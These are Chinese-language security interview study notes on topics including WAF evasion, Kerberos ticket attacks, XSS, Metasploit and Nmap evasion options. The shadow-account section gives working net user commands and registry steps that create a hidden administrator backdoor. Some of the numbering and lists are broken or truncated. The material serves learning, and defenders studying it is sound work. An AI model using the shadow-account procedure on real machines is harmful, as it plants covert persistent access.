4、变形注入:变形注入攻击是一种多次执行的注入攻击,使用变体的注入负载,使用注入负载不同与以前的攻击负载,从而逃避WAF的检测。
23.影子账户的建立
1、查看当前系统账户
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users
其中,Names下的键值为用户名,用户名键值下的值,对应的users下的键,内部的F,V值为该用户的登录设置信息,其中F键值,为权限设置信息
2、添加账户
net user abc 123 /add //添加abc用户 123,是密码
net localgroup administrators abc /add //添加abc到管理员组
net localgroup administrators //查看在administrators组里的用户
net user abc$ 123 /add //在用户名后面添加$符号,即为隐藏账户。
3、创建影子账户
HEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names/Administrator
键值下数值对应的Users键值(000001F4)下的F值覆盖abc$用户对应的Users下的F值。
(2)将abc$键值和对应的Users下的键值导出到桌面,然后从用户管理窗口,右键删除abc$用户
(4)查看用户,此时,net user命令看不到用户;用户管理窗口也看不到用户;注册表可以看到用户。
(5)如果在添加用户之后,删除掉HKEY_LOCAL_MACHINE/SAM/SAM/Domians/Account/Groups键值,则以后无法对用户进行添加删除操作。
2、账户设置好后,导出HEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/groups键值并做好备份。备份然后从注册表中删除此键。需要创建用户和删除账户的时候,再导入该键值。
3、打开regedit,来到HKEY_LOCAL_MACHINE/SAM处,设置“SAM”项的权限,将administrators所拥有的权限全部取消即可限制查询和添加用户。
24.黄金票据白银票据的原理和区别
- 黄金票据:是直接抓取域控中ktbtg账号的hash,来client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。
- 白银票据:实际就是在抓取到了域控服务hash的情况下,在client端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。
- Golden Ticket和Silver Ticket都会在日志,不同的是,Golden Ticket会在域控中留下日志,Silver Ticket仅在目标系统留下日志,因为Silver Ticket 不与KDC产生交互
- 产生日志中,应该关注事件ID 4624(账户登录)、4634(账户注销)、4672(管理员登录),并且域字段应该为Domain时为空
xss 除了禁用script还有什么
2、对所有输入的数据机型编码,包括HTML、CSS和javascript等内容。
3、使用HTTP-only Cookie,禁止客户端的javasScript等内容
4、实现Content Security Policy(CSP),限制网站资源的来源,有效减少恶意代码被注入的可能性。
24.如果有个越权的如何判断
1、确认应用程序的设计是否存在越权漏洞,例如,是否存在为正确的限制用户访问敏感数据或执行敏感操作的情况。
2、通过常见的攻击向量(例如修改URL、参数篡改、HTTP请求伪造等)测试应用程序的安全性,并尝试确定是否可以访问或更改未授权的数据或执行未授权的操作。
3、如果发现越权问题,需要对其进行修复。修复的方法可能包括增加访问控制和权限验证、更新代码进行输入和验证和过滤等。
需要对应用程序的设计、实现和测试进行全面审查,以便尽早发现和纠正任何潜在的安全漏洞。
25.判断是不是攻击,判断流程(基于应急响应)
1、收集和分析日志数据:收集网络、系统、应用程序的等各种日志数据,分析是是否存在异常或可疑活动,例如大量登录失败、异常访问、文件更改、命令执行等。
2、检查系统和应用程序的配置和状态:确认系统和应用程序是否存在已知的安全漏洞或配置问题,并根据最佳实践对其进行修复和加固。
3、进行漏洞扫描和渗透测试:使用自动化工具或手工技术对目标系统进行漏洞扫描和渗透测试,以识别潜在的安全漏洞和攻击面。
4、进行恶意代码分析:如果发现可疑文件或进程,可以进行恶意代码分析,以了解其功能、传播方式和控制机制等信息。
5、确认是否存在攻击:根据以上信息进行综合分析,确定是否存在攻击,如果存在攻击,需要尽快采取相应措施进行应急响应,防止进一步损失。
需要进行多方面的信息收集和分析,包括日志数据、系统和应用程序的配置和状态、漏洞扫扫描和渗透测试、恶意代码分析等。同时,需要根据实际情况对判断结果进行验证和确认,确保采取的措施符合实际需求和情况。
xss漏洞,越权漏洞
XSS(跨站脚本)漏洞是指攻击者通过往页面写入恶意脚本,当用户访问的时候从而执行这个脚本而导致的漏洞。
越权漏洞:是指攻击者通过应用程序的访问控制方面的缺陷,绕过授权机制或以其他未授权的方式访问或操作敏感数据、功能或资源。
这两种漏洞都可能导致严重后果,并且都需要对应用程序进行充分的安全设计和开发,以防止恶意攻击。避免XSS漏洞通常需要采用输入验证和过滤等技术手段,避免越权漏洞则需要进行访问控制和权限验证等措施。
越权的实际操作
在某个电子商务网站上,普通用户只能访问自己的订单信息,但由于应用程序实现上的一个漏洞,攻击者可以通过修改 URL 地址,伪造请求等方式获取到其他用户的订单信息甚至可篡改他人订单。这种情况就属于越权漏洞。
xss碰到payload,没有解析进行二次解析
如果在XSS攻击中,服务器端没有对用户输入的payload进行解析和过滤,那么可能会导致恶意脚本被注入到页面中,从而危害用户安全
具体的做法就是将恶意payload中的特殊字符(如<>"')转义成HTML实体,例如使用javascript中的encodeURI()函数或PHP中的htmlspecialchars()函数等,这样可以防止浏览器将其解释为HTML标记或javascript代码,从而避免XSS攻击。
但是需要注意的是,仅仅进行二次解析并不能完全确保应用程序的安全性,因此建议在开发过程中始终保持警惕,采用多种安全措施,包括输入验证、输入编码、身份验证等手段,确保web应用程序的安全。
26.详细介绍一次挖过的漏洞
1、信息收集:收集目标应用程序的相关信息,包括web服务器类型、操作系统、应用程序坂本等。
2、漏洞扫描:利用自动化工具对目标应用程序进行漏洞扫描,寻找可能存在的漏洞和弱点。
3、手动测试:针对扫描工具未能识别的漏洞,采用手动测试的方式发现是否存在漏洞。
4、攻击尝试:使用不同的攻击技术,例如SQL注入、XSS、文件包含等,向目标应用程序发送恶意请求,寻找可能存在的漏洞和弱点。
5、分析漏洞:将发现的漏洞进行分析和验证,确定其真实性和危害性。
6、漏洞报告:将漏洞的详细信息提交给应用程序开发人员或安全团队,一边他们修复漏洞加强应用程序的安全性。
27.Windows入侵排查思路
1、 查看系统信息:查看有无可疑账户,查看启动项,查看计划任务,服务自启动
4、文件痕记排查:通过查看敏感目录文件等恶意软件、木马、后门等关联信息
Linux入侵排查思路
1、查看系统信息:查看是否有可以账户、查看启动项、查看计划任务、历史命令
4、文件痕记排查:通过查看敏感目录等恶意软件、木马、后门等关联信息
Linux如何查看登录日志?有哪些相关消息文件?
用户登录日志:/var/log/lastlog(最近用户登录的相关信息)
/var/run/utmp(用户登录、注销及系统开、关机等事件)
Windows和Linux的日志文件放在哪里?
应用程序和服务特定的日志:C:\windows\logs这个目录下
Apache HTTP服务器的访问日志通常位于/var/log/apache2/access.log中
Linux常用排查命令有哪些?
3、netstat:显示网络连接状态,包括开放的端口和当前网络连接
8、traceroute:跟踪数据包从本地主机到目标主机所经过的路由器路径
28.MSF
exploits攻击模块:利用发现的安全漏洞或配置弱点对远程系统进行攻击,从而获得远程目标访问权限的代码组件。
payload攻击载荷模块,攻击成功有促使靶机运行的一段植入代码
post后渗透攻击模块,收集更多信息或进一步访问被利用的目标系统。
encoders编码模块:将攻击载荷进行编码,来绕过防护软件拦截。
配合使用的工具
1、Nmap和MSF:使用nmap扫描目标主机并确定开放的端口和服务,然后使用MSF对这些服务进行攻击。
2、nessus和MSF:nessus是一个商业漏洞扫描器,可以检测网络中的漏洞,将Nessus输出的报告与MSF结合使用,可以快速发现和利用漏洞
3、Burp Suite和MSF:Burp Suite是一个常用的WEB应用程序扫描器和代理工具,可以通过MSF对发现的WEB漏洞进行自动化利用。
29.Nmap
Nmap默认发送一个arp的ping数据包,来探测目标主机在1-100000范围内所有开放的端口
指定端口和范围:nmap -p 端口,端口范围(20-200) IP
扫描除某一个IP外的所有子网主机:nmap 网段 --exclude IP
扫描除某一个文件中的IP外的子网主机:nmap 网段 --excludefile 文件
ping 扫描:nmap -sP IP nmap -sP 192.168.126.1-255(主机发现)
SYN半开放扫描:nmap -sS IP(在目标主机上不会产生任何日志)
猜测匹配操作系统:nmap -O --osscan-guess IP
OS识别,版本探测,脚本扫描和traceroute综合扫描:nmap -A IP
参数详解
-iL filename 从文件中读取待检测的目标,文件中的表示方法支持机名,ip,网段
-iR hostnum 随机选取,进行扫描.如果-iR指定为0,则是无休止的扫描
--exclude host1[, host2] 从扫描任务中需要排除的主机
--exculdefile exclude_file 排除文件中的IP,格式和-iL指定扫描文件的格式相同
主机发现
-sL 仅仅是显示,扫描的IP数目,不会进行任何扫描
-sn ping扫描,即主机发现
-Pn 不检测主机存活
-PS/PA/PU/PY[portlist] TCP SYN Ping/TCP ACK Ping/UDP Ping发现
-PE/PP/PM 使用ICMP echo, timestamp and netmask 请求包发现主机
-PO[prococol list] 使用IP协议包探测对方主机是否开启
-n/-R 不对IP进行域名反向解析/为所有的IP都进行域名的反响解析
扫描技巧
-sS/sT/sA/sW/sM TCP SYN/TCP connect()/ACK/TCP窗口扫描/TCP Maimon扫描
-sU UDP扫描
-sN/sF/sX TCP Null,FIN,and Xmas扫描
--scanflags 自定义TCP包中的flags
-sI zombie host[:probeport] Idlescan
-sY/sZ SCTP INIT/COOKIE-ECHO 扫描
-sO 使用IP protocol 扫描确定目标机支持的协议类型
-b “FTP relay host” 使用FTP bounce scan
指定端口和扫描顺序
-p 特定的端口 -p80,443 或者 -p1-65535
-p U:PORT 扫描udp的某个端口, -p U:53
-F 快速扫描模式,比默认的扫描端口还少
-r 不随机扫描端口,默认是随机扫描的
--top-ports "number" 扫描开放概率最高的number个端口,出现的概率需要参考nmap-services文件,ubuntu中该文件位于/usr/share/nmap.nmap默认扫前1000个
--port-ratio "ratio" 扫描指定频率以上的端口
服务版本识别
-sV 开放版本探测,可以直接使用-A同时打开操作系统探测和版本探测
--version-intensity "level" 设置版本扫描强度,强度水平说明了应该使用哪些探测报文。数值越高,服务越有可能被正确识别。默认是7
--version-light 打开轻量级模式,为--version-intensity 2的别名
--version-all 尝试所有探测,为--version-intensity 9的别名
--version-trace 显示出详细的版本侦测过程信息
脚本扫描
-sC 根据端口识别的服务,调用默认脚本
--script=”Lua scripts” 调用的脚本名
--script-args=n1=v1,[n2=v2] 调用的脚本传递的参数
--script-args-file=filename 使用文本传递参数
--script-trace 显示所有发送和接收到的数据
--script-updatedb 更新脚本的数据库
--script-help=”Lua script” 显示指定脚本的帮助
-O 启用操作系统检测,-A来同时启用操作系统检测和版本检测
--osscan-limit 针对指定的目标进行操作系统检测(至少需确知该主机分别有一个open和closed的端口)
--osscan-guess 推测操作系统检测结果,当Nmap无法确定所检测的操作系统时,会尽可能地提供最相近的匹配,Nmap默认进行这种匹配
防火墙/IDS躲避和哄骗
-f; --mtu value 指定使用分片、指定数据包的MTU.
-D decoy1,decoy2,ME 使用诱饵隐蔽扫描
-S IP-ADDRESS 源地址欺骗
-e interface 使用指定的接口
-g/ --source-port PROTNUM 使用指定源端口
--proxies url1,[url2],... 使用HTTP或者SOCKS4的代理
--data-length NUM 填充随机数据让数据包长度达到NUM
--ip-options OPTIONS 使用指定的IP选项来发送数据包
--ttl VALUE 设置IP time-to-live域
--spoof-mac ADDR/PREFIX/VEBDOR MAC地址伪装
--badsum 使用错误的checksum来发送数据包
Nmap 输出
-oN 将标准输出直接写入指定的文件
-oX 输出xml文件
-oS 将所有的输出都改为大写
-oG 输出便于通过bash或者perl处理的格式,非xml
-oA BASENAME 可将扫描结果以标准格式、XML格式和Grep格式一次性输出
-v 提高输出信息的详细度
-d level 设置debug级别,最高是9
--reason 显示端口处于带确认状态的原因
--open 只输出端口状态为open的端口
--packet-trace 显示所有发送或者接收到的数据包
--iflist 显示路由信息和接口,便于调试
--log-errors 把日志等级为errors/warings的日志输出
--append-output 追加到指定的文件
--resume FILENAME 恢复已停止的扫描
--stylesheet PATH/URL 设置XSL样式表,转换XML输出
--webxml 从namp.org得到XML的样式
--no-sytlesheet 忽略XML声明的XSL样式表
其他nmap选项
-6 开启IPv6
-A OS识别,版本探测,脚本扫描和traceroute
--datedir DIRNAME 说明用户Nmap数据文件位置
--send-eth / --send-ip 使用原以太网帧发送/在原IP层发送
--privileged 假定用户具有全部权限
--unprovoleged 假定用户不具有全部权限,创建原始套接字需要root权限
-V 打印版本信息
-h 输出帮助
30.Wireshark
wireshark过滤规则是一种用于过滤网络流量的语言,可以根据协议,源/目的地址、端口等条件过滤特定的数据包。以下是一些常用的wireshark过滤规则:
1、协议过滤:可以使用协议名称或协议编号来过滤特定的协议。例如:过滤HTTP协议的数据包可以使用过滤规则:http。
2、IP地址过滤:可以使用原地址或目的地址过滤特定的IP地址。例如,过滤源地址为192.168.1.1的数据包可以使用过滤规则:ip.src==192.168.1.1
3、端口过滤:可以使用源端口或目的端口过滤特定的端口。例如,过滤目的的端口为80的数据包可以使用过滤规则:tcp.dstport==80
4、协议字段过滤:可以使用协议字段中的值过滤特定的数据包。例如:过滤TCP标志位中包含SYN标志的数据包可以使用过滤规则:tcp.flags.syn==1。
5、字符串过滤:可以使用包含特定字符串的数据包。例如,过滤包含“password”的数据包可以使用过滤规则:frame contains “password”
6、复合过滤:可以使用逻辑运算符AND、OR和NOT来组合多个过滤条件。例如,过滤源地址为192.168.1.1且目的端口为80的数据包可以使用顾虑规则:ip.src==192.168.1.1 and tcp.dstport==80
31.TCP/IP模型各层中的协议
应用层
网络层
IP(互联网协议):IP是一种无连接协议,它不使用端口号。他是TCP/IP协议簇的核心,用于将数据包从源地址发送到目标地址。
ICMP(Internet控制报文协议):ICMP是一种协议,用于在IP网络中发送错误消息和操作请求。它不使用端口号,而是通过IP首部中的类型字段和代码字段来识别不同的消息类型。
ARP(地址解析协议):ARP是一种协议,用于将一个IP地址映射到一个物理地址(MAC地址)。它不使用端口号,而是通过特殊的帧格式进行通信。
RARP(逆地址解析协议):RARP是一种协议,用于将一个物理地址(MAC地址)映射到一个IP地址。它也因此,在IP、ICMP、ARP、RARP中,不存在固定的端口号。
链路层
Ethernet(以太网协议):Ethernet是一种局域网协议,用于在物理网络上发送的接收数据帧。它不使用端口号,而是使用MAC地址来标识不同的设备。
PPP(点对点协议):PPP是一种用于建立点对点的连接协议,例如拨号连接或者串行线路连接。它不使用端口号,而是使用一组固定的控制报文来建立和维护连接。
SLIP(串行线路Internet协议):SLIP是一种协议,允许在串行线路上传输IP数据报。它不使用端口号,而是通过特殊的SLIP控制字符识别SLIP帧的开始和结束。
因此,Ethernet、PPP和SLIP都不使用端口号进行通信,而是使用其他机制来表示和管理帧和连接。
常见数据库端口号
各语言对应的数据库
- Java:可以与各种数据库进行交互。常用的Java数据库包括Oracle、MySQ、Microsoft SQL Server、PostgreSQL和MongoDB。
- Python:可以与各种数据库进行交互。常用的Python数据库包括MySQL、SQLite、PostgreSQL和MongoDB
- PHP:它有很多流行的数据库扩展程序。常用的PHP数据库包括MySQL、SQLite、PostgreSQL和MongoDB
- JavaScript:在web前端开发中广泛使用的脚本语言,后端中也逐渐受欢迎MongoDB、MySQL和PostgreSQL
- C#:是微软开发的面向对象编程的,广泛用于Windows和.NET Framework。常用的C#数据库包括Microsoft SQL Server、Oracle和MySQL
32.Linux、Windows安全加固
33.如果让你部署一个蜜罐,你会开放哪些端口,为什么//你认为企业的主机哪些端口存在风险//你认为企业应该注意哪些地方的加固
- 21端口:FTP文件传输协议端口,用来捕获黑客的FTP爆破行为。
- 22端口:SSH端口链接Linux主机SSH服务的端口,用来捕获黑客的SSH爆破行为。
- 23端口:Telnet服务器,命令执行服务,用来探测黑客对于Telnet的爆破
- 80/443端口:web服务的端口,用来捕获黑客的web攻击行为特征
- 1521:Oracle数据库开放端口,捕获黑客的Oracle爆破行为,UDF命令执行等行为。
- 3306:MySQL端口,用来捕获黑客对于mysql数据库的爆破行为,UDF命令执行等行为。
- 3389:Windows远程桌面端口,用来捕获黑客的爆破行为。
- 6379端口:REDIS端口,捕获黑客REDIS未授权访问的攻击,黑客利用Redis写ssh密钥,写webshell,执行计划任务等的攻击。
- 445端口:SMB服务端口—黑客利用永恒之蓝Enternalblue的攻击行为 ,黑客的SMB账号爆破(通俗简单理解,爆破Windows账号密码)
- 1433端口:Microsoft SQLserver端口,用来捕获黑客爆破1433端口的行为,并且查看黑客利用SQLserver、xp_cmdshell,sp_cmdshell等组件命令执行的操作,存储过程的利用
- 135、139端口:捕获黑客的利用RPC共享的攻击(当蜜罐部署在内网)比如在8080端口,部署一个假的VPN页面,吸引黑客攻击。